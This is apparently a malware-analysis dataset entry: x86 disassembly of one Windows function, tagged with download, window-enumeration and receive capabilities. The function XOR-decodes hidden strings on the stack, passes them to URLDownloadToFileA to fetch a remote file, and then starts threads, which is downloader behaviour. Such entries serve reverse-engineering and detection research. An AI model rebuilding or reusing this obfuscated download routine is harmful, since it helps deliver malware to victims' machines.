Function at 0x438110
Capabilities:
Download url
Enumerate gui resources
Receive data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x1e8
mov eax, dword [0x443040]
xor eax, esp
mov dword [esp + 0x1e4], eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_AllocConsole]
test eax, eax
je 0x4381ac
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0x4000
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__open_osfhandle]
push 0x4404d0
push eax
call dword [sym.imp.api_ms_win_crt_math_l1_1_0.dll__fdopen]
mov edi, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
push 1
mov dword [esp + 0x1ac], eax
call edi
add esp, 0x14
push eax
push 0x4404d0
lea eax, [esp + 0x1a0]
push str.CONOUT_
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_freopen_s]
mov esi, dword [esp + 0x1a8]
push 1
mov esi, dword [esi]
call edi
add esp, 0x14
mov dword [eax], esi
push 0
push 4
push 0
push 1
call edi
add esp, 4
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_setvbuf]
add esp, 0x10
call fcn.00437e30
push dword [0x44e75c]
push 0x432450
call dword [sym.imp.USER32.dll_EnumWindows]
mov dword [esp + 0x50], 0x6c6e7edd
lea ecx, [esp + 0x130]
mov dword [esp + 0x54], 0xd74a61c
lea edx, [ecx + 1]
mov dword [esp + 0x58], 0x72d4cde5
xorps xmm0, xmm0
mov dword [esp + 0x5c], 0x6d402c32
movaps xmm1, xmmword [esp + 0x50]
mov dword [esp + 0x60], 0x7625cab8
mov dword [esp + 0x64], 0x548c599d
mov dword [esp + 0x68], 0x96e85957
mov dword [esp + 0x6c], 0x71acfca0
movaps xmm2, xmmword [esp + 0x60]
mov dword [esp + 0x70], 0xbbdca521
mov dword [esp + 0x74], 0x3bb9645f
mov dword [esp + 0x78], 0x130ad86e
mov dword [esp + 0x7c], 0x113e2206
movaps xmm3, xmmword [esp + 0x70]
mov dword [esp + 0x80], 0x6c3c2b72
mov dword [esp + 0x84], 0xe3a3049d
mov dword [esp + 0x88], 0x17f0200b
mov dword [esp + 0x8c], 0x17340c88
movaps xmm4, xmmword [esp + 0x80]
mov dword [esp + 0x90], 0x98451b4c
mov dword [esp + 0x94], 0xfb0d63c0
mov dword [esp + 0x98], 0xc573c639
mov dword [esp + 0x9c], 0x60042c71
movaps xmm5, xmmword [esp + 0x90]
mov dword [esp + 0xa0], 0x30c7a070
mov dword [esp + 0xa4], 0x77a63166
mov dword [esp + 0xa8], 0x534f8f4c
mov dword [esp + 0xac], 0x17a7819c
movaps xmm6, xmmword [esp + 0xa0]
mov dword [esp + 0xb0], 0x1c1a0ab5
mov dword [esp + 0xb4], 0x225b9c6f
mov dword [esp + 0xb8], 0x5cbaa986
mov dword [esp + 0xbc], 0xe334556
mov dword [esp + 0xc0], 0x1741b8d7
mov dword [esp + 0xc4], 0x37a229ed
mov dword [esp + 0xc8], 0xf7c73438
mov dword [esp + 0xcc], 0x12cd88d4
xorps xmm2, xmmword [esp + 0xc0]
mov dword [esp + 0xd0], 0xd5b9c849
mov dword [esp + 0xd4], 0x296172b
mov dword [esp + 0xd8], 0x243bed5a
mov dword [esp + 0xdc], 0x230b1732
xorps xmm3, xmmword [esp + 0xd0]
mov dword [esp + 0xe0], 0x5a0a134b
mov dword [esp + 0xe4], 0xd3953ca9
mov dword [esp + 0xe8], 0x22c90f3c
mov dword [esp + 0xec], 0x240d34b0
xorps xmm4, xmmword [esp + 0xe0]
mov dword [esp + 0xf0], 0xad732b7d
mov dword [esp + 0xf4], 0xcb3952f7
mov dword [esp + 0xf8], 0xf54af50e
mov dword [esp + 0xfc], 0x10615e5e
xorps xmm5, xmmword [esp + 0xf0]
mov dword [esp + 0x100], 0x68b3d21f
mov dword [esp + 0x104], 0x13880355
mov dword [esp + 0x108], 0x534fe320
mov dword [esp + 0x10c], 0x17a7819c
xorps xmm6, xmmword [esp + 0x100]
movaps xmmword [esp + 0x130], xmm1
xorps xmm1, xmmword [esp + 0xb0]
movaps xmmword [esp + 0x130], xmm1
movaps xmmword [esp + 0x140], xmm2
movaps xmmword [esp + 0x150], xmm3
movaps xmmword [esp + 0x160], xmm4
movaps xmmword [esp + 0x170], xmm5
movaps xmmword [esp + 0x180], xmm6
movaps xmmword [esp + 0x1c0], xmm0
mov dword [esp + 0x1d0], 0
mov dword [esp + 0x1d4], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x438468
sub ecx, edx
lea eax, [esp + 0x130]
push ecx
push eax
lea ecx, [esp + 0x1c8]
call fcn.00438b20
mov dword [esp + 0x10], 0x4b4630f6
lea ecx, [esp + 0x110]
mov dword [esp + 0x14], 0x4d3ff206
lea edx, [ecx + 1]
mov dword [esp + 0x18], 0x2fe6daf1
xorps xmm0, xmm0
mov dword [esp + 0x1c], 0x671d362f
movaps xmm1, xmmword [esp + 0x10]
mov dword [esp + 0x20], 0x1741d1b9
mov dword [esp + 0x24], 0x37a229ed
mov dword [esp + 0x28], 0xf7c73438
mov dword [esp + 0x2c], 0x12cd88d4
movaps xmm2, xmmword [esp + 0x20]
mov dword [esp + 0x30], 0x1c1a0ab5
mov dword [esp + 0x34], 0x225b9c6f
mov dword [esp + 0x38], 0x5cbaa986
mov dword [esp + 0x3c], 0xe334556
mov dword [esp + 0x40], 0x1741b8d7
mov dword [esp + 0x44], 0x37a229ed
mov dword [esp + 0x48], 0xf7c73438
mov dword [esp + 0x4c], 0x12cd88d4
xorps xmm2, xmmword [esp + 0x40]
movaps xmmword [esp + 0x110], xmm1
xorps xmm1, xmmword [esp + 0x30]
movaps xmmword [esp + 0x110], xmm1
movaps xmmword [esp + 0x120], xmm2
movaps xmmword [esp + 0x1a0], xmm0
mov dword [esp + 0x1b0], 0
mov dword [esp + 0x1b4], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x438560
sub ecx, edx
lea eax, [esp + 0x110]
push ecx
push eax
lea ecx, [esp + 0x1a8]
call fcn.00438b20
cmp dword [esp + 0x1b4], 0xf
lea ecx, [esp + 0x1a0]
push 0
cmova ecx, dword [esp + 0x1a4]
lea eax, [esp + 0x1c4]
cmp dword [esp + 0x1d8], 0xf
push 0
cmova eax, dword [esp + 0x1c8]
push ecx
push eax
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
call fcn.00437830
call fcn.00437460
push 0x4324e0
lea ecx, [esp + 0x19c]
call fcn.004388a0
mov esi, eax
cmp dword [esi + 4], 0
je 0x438701
push dword [esi + 4]
mov edi, dword [sym.imp.MSVCP140.dll__Thrd_detach]
push dword [esi]
call edi
add esp, 8
test eax, eax
jne 0x438701
mov dword [esi], eax
mov dword [esi + 4], eax
cmp dword [esp + 0x19c], eax
je 0x43860d
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
push 0x4322c0
lea ecx, [esp + 0x19c]
call fcn.004388a0
mov esi, eax
cmp dword [esi + 4], 0
je 0x438701
push dword [esi + 4]
push dword [esi]
call edi
add esp, 8
test eax, eax
jne 0x438701
mov dword [esi], eax
mov dword [esi + 4], eax
cmp dword [esp + 0x19c], eax
je 0x438650
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
call fcn.00437ba0
mov ecx, dword [esp + 0x1b4]
cmp ecx, 0xf
jbe 0x43868d
mov edx, dword [esp + 0x1a0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x438683
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4386d9
push ecx
push edx
call fcn.0043947d
add esp, 8
mov ecx, dword [esp + 0x1d4]
mov dword [esp + 0x1b0], 0
mov dword [esp + 0x1b4], 0xf
mov byte [esp + 0x1a0], 0
cmp ecx, 0xf
jbe 0x4386e9
mov edx, dword [esp + 0x1c0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4386df
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4386df
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0043947d
add esp, 8
mov ecx, dword [esp + 0x1ec]
xor eax, eax
pop edi
pop esi
xor ecx, esp
call fcn.00439054
mov esp, ebp
pop ebp
ret 0x10
push 1
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3